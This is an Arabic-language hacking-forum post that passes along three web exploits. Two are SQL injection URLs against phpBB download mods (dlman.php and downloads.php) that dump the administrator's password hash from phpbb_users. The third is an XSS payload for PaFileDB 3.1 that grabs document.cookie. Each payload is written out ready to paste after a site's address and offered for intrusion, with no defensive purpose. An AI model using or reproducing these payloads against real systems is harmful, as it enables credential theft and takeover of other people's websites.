بسم اللله الرحمن الرحيم
وقل رب زدنى علما
صدق الله العظيم
لقد وصلتنى مجموعة من الثغرات الجديدة عبر الايميل من احد المنتديات العربيه
وحبت ان اضعها فى منتدانا العزيز
1- [منتديات PHPBB Mod
المهم الثغره في ملف dlman.php
كل اللي علي إنك تضيف الكود هذا بعد رابط الموقع
كود:
dlman.php?func=file_info&file_id=-1337/**/union/**/select/**/0,0,0,user_password,0,username,0,0,0,0,0,0,0,0,0,0 ,0,0/**/FROM/**/phpbb_users/**/WHERE/**/user_id=2/**/
وراح تشوف الباسورد المشفر مثل اللي في الصوره
ثغرة جديدة اليوم في مكتبة البرامج PaFileDB Version 3.1
--------------------------------------------------------------------------------
بسم الله الرحمن الرحيم
أكيد أغلبكم ياشباب يعرف وش هي مكتبة البرامج ويعرف كبر المواقع اللي تستخدمها
هذي ثغرها لها وهي من نوع Xss
والثغره في الإصدار PaFileDB Version 3.1 ومادون
كل اللي عليك انك تضيف الكود هذا بعد رابط الموقع
كود PHP:
pafiledb.php?action=file&id=%22%3E%20%20%3Cscript% 3Ealert(document.cookie)% 3C/script%3E
PhpBB 2.0.13+Downloads Mod Exploit
ثغره جديده ياشباب ونزلت قبل دقايق بس
وهي في الاصدار الجديد من منتديات phpBB
الاصدار phpBB 2.13
ويشترط في الثغره أن تكون مفعله عملية التحميل Downloads
وطريقة الاختراق سهله كل اللي عليك انك تضيف الكود هذا
كود PHP:
downloads.php?cat=-1%20UNION%20SELECT%200,user_password,0,0,0,0,0,0,0 %20FROM%20phpbb_users%20WHERE%20user_id=2
بعد رابط المنتدى وراح تشوف الباسورد قدامك مثل اللي بالصوره
ارجوا ان تحوز الثغرات اعجابكم ومستنة تعليقاتكم
المواضيع المتشابهه
العرض المتطور
